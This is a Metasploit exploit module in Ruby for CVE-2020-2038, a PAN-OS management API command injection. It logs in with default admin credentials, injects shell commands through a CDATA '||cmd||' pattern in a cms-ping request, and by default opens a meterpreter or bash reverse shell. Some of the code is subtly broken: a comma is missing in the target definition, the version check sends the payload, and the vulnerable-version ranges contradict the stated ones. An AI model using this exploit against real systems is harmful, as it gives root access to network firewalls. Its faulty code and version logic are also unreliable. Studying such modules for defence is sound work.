Files
metasploit-gs/modules/exploits/linux/http/panos_op_cmd_exec.rb
T
2022-09-12 17:35:25 -04:00

174 lines
5.1 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
require 'ipaddr'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Palo Alto Networks Authenticated Remote Code Execution',
'Description' => %q{
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated
administrators to execute arbitrary OS commands with root privileges.
This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10
},
'Author' => [
'Mikhail Klyuchnikov', # Vulnerability discovery
'Nikita Abramov', # Vulnerability discovery
'UnD3sc0n0c1d0', # Exploit
'jheysel-r7' # msf module
],
'References' => [
['CVE', '2020-2038'],
['URL', 'https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/'],
['URL', 'https://security.paloaltonetworks.com/CVE-2020-2038'],
['URL', 'https://github.com/und3sc0n0c1d0/CVE-2020-2038'] # Exploit
],
'DisclosureDate' => '2020-09-09',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Privileged' => true,
'Targets' => [
[
'Linux ',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => %i[echo printf]
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Unix In-Memory',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => '2',
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('USERNAME', [false, 'PAN-OS administrator username', 'admin']),
OptString.new('PASSWORD', [false, 'Password for username', 'admin'])
]
)
end
def check
print_status('Authenticating...')
begin
@api_key = api_key
rescue ::StandardError => e
print_status("Error retrieving API key: #{e.class} #{e}")
return Exploit::CheckCode::Safe
end
res = send_request_cgi({
'method' => 'GET',
'keep_cookies' => 'true',
'uri' => normalize_uri(target_uri.path, 'api/?'),
'vars_get' => {
'cmd' => payload,
'type' => 'version',
'key' => @api_key
}
})
fail_with(Failure::UnexpectedReply, 'The API did not respond to the request for the version of PAN_OS') unless res&.body
version = Rex::Version.new(res.get_xml_document.xpath('/response/result/sw-version').text)
if version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.0.10')) ||
version.between?(Rex::Version.new('9.1.4'), Rex::Version.new('9.1.4')) ||
version.eql?(Rex::Version.new('10.0.0'))
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def api_key
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/'),
'vars_get' => {
'type' => 'keygen',
'user' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
if res.nil?
fail_with(Failure::Unreachable, 'Connection failed')
end
if res.code == 401
fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed')
end
if res.code == 403
fail_with(Failure::NoAccess, 'Server returned HTTP status 403 - Authentication failed with "Invalid Credentials"')
end
if res.body.blank?
fail_with(Failure::UnexpectedReply, 'Empty reply from server')
end
key = res.get_xml_document.xpath('/response/result/key')&.text
print_good('Successfully obtained api key')
if key.nil?
fail_with(Failure::UnexpectedReply, 'Empty reply from server')
end
key
end
def execute_command(cmd, _opts = {})
payload = "<cms-ping><host>#{IPAddr.new(rand(2**32), Socket::AF_INET)}</host><count>#{rand(1..50)}</count><pattern>111<![CDATA[||#{cmd}||]]></pattern></cms-ping>"
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/'),
'vars_get' => {
'cmd' => payload,
'type' => 'op',
'key' => @api_key
}
})
end
def exploit
@api_key ||= api_key
print_status('Exploiting...')
execute_cmdstager
end
end